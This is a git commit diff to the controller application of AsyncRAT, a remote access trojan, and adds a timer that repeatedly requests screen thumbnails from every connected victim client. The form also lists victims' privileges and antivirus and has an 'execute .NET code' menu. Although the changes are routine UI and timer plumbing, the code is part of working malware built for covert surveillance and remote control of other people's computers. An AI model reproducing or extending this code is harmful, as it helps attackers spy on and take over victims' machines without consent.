Add timer for thumbnails

This commit is contained in:
NYAN CAT 2019-06-01 12:09:24 +03:00
parent cc358fe281
commit e5da7a8d70
3 changed files with 47 additions and 38 deletions

View File

@ -37,9 +37,9 @@
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_av = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_av = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuClient = new System.Windows.Forms.ContextMenuStrip(this.components); this.contextMenuClient = new System.Windows.Forms.ContextMenuStrip(this.components);
this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
@ -115,6 +115,7 @@
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
this.TimerTask = new System.Windows.Forms.Timer(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components);
this.GetThumbnails = new System.Windows.Forms.Timer(this.components);
this.contextMenuClient.SuspendLayout(); this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout(); this.tabControl1.SuspendLayout();
@ -188,11 +189,6 @@
this.lv_version.Text = "VERSION"; this.lv_version.Text = "VERSION";
this.lv_version.Width = 126; this.lv_version.Width = 126;
// //
// lv_prefor
//
this.lv_prefor.Text = "PERFORMANCE";
this.lv_prefor.Width = 200;
//
// lv_admin // lv_admin
// //
this.lv_admin.Text = "PRIVILEGES"; this.lv_admin.Text = "PRIVILEGES";
@ -203,6 +199,11 @@
this.lv_av.Text = "ANTI-VIRUS"; this.lv_av.Text = "ANTI-VIRUS";
this.lv_av.Width = 136; this.lv_av.Width = 136;
// //
// lv_prefor
//
this.lv_prefor.Text = "PERFORMANCE";
this.lv_prefor.Width = 200;
//
// contextMenuClient // contextMenuClient
// //
this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(20, 20); this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(20, 20);
@ -835,6 +836,11 @@
this.TimerTask.Interval = 5000; this.TimerTask.Interval = 5000;
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
// //
// GetThumbnails
//
this.GetThumbnails.Interval = 5000;
this.GetThumbnails.Tick += new System.EventHandler(this.GetThumbnails_Tick);
//
// Form1 // Form1
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@ -954,6 +960,7 @@
private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel2; private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel2;
private System.Windows.Forms.ToolStripMenuItem executeNETCodeToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem executeNETCodeToolStripMenuItem;
private System.Windows.Forms.ColumnHeader lv_av; private System.Windows.Forms.ColumnHeader lv_av;
public System.Windows.Forms.Timer GetThumbnails;
} }
} }

View File

@ -74,10 +74,10 @@ namespace AsyncRAT_Sharp
private async void Form1_Load(object sender, EventArgs e) private async void Form1_Load(object sender, EventArgs e)
{ {
System.Reflection.PropertyInfo aProp = typeof(System.Windows.Forms.Control)
.GetProperty("DoubleBuffered", System.Reflection.BindingFlags.NonPublic | ListviewDoubleBuffer.Enable(listView1);
System.Reflection.BindingFlags.Instance); ListviewDoubleBuffer.Enable(listView2);
aProp.SetValue(listView1, true, null); ListviewDoubleBuffer.Enable(listView3);
CheckFiles(); CheckFiles();
lvwColumnSorter = new ListViewColumnSorter(); lvwColumnSorter = new ListViewColumnSorter();
@ -211,36 +211,32 @@ namespace AsyncRAT_Sharp
this.Opacity = 0.95; this.Opacity = 0.95;
} }
private static System.Threading.Timer Tick { get; set; } private void GetThumbnails_Tick(object sender, EventArgs e)
private void STARTToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (Tick == null && listView1.Items.Count > 0) if (listView1.Items.Count > 0)
{ {
Tick = new System.Threading.Timer(GetThumbnails, null, 2500, 5000); try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
foreach (ListViewItem itm in listView1.Items)
{
Clients client = (Clients)itm.Tag;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
catch { }
} }
} }
private void GetThumbnails(object obj)
{
if (Program.form1.listView3.InvokeRequired)
{
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
{
if (listView1.Items.Count > 0)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
foreach (ListViewItem itm in listView1.Items) private void STARTToolStripMenuItem_Click(object sender, EventArgs e)
{ {
Clients client = (Clients)itm.Tag; if (listView1.Items.Count > 0)
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); {
} GetThumbnails.Stop();
} GetThumbnails.Start();
catch { } GetThumbnails.Tag = (object)"started";
}
}));
} }
} }
@ -248,8 +244,8 @@ namespace AsyncRAT_Sharp
{ {
try try
{ {
Tick?.Dispose(); GetThumbnails.Tag = (object)"stopped";
Tick = null; GetThumbnails.Stop();
listView3.Items.Clear(); listView3.Items.Clear();
ThumbnailImageList.Images.Clear(); ThumbnailImageList.Images.Clear();
foreach (ListViewItem itm in listView1.Items) foreach (ListViewItem itm in listView1.Items)
@ -529,7 +525,10 @@ namespace AsyncRAT_Sharp
{ {
try try
{ {
listView2.Items.Clear(); lock (Settings.Listview2Lock)
{
listView2.Items.Clear();
}
} }
catch { } catch { }
} }

View File

@ -610,6 +610,9 @@
<metadata name="TimerTask.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="TimerTask.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>693, 65</value> <value>693, 65</value>
</metadata> </metadata>
<metadata name="GetThumbnails.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>1045, 65</value>
</metadata>
<metadata name="$this.TrayHeight" type="System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <metadata name="$this.TrayHeight" type="System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<value>112</value> <value>112</value>
</metadata> </metadata>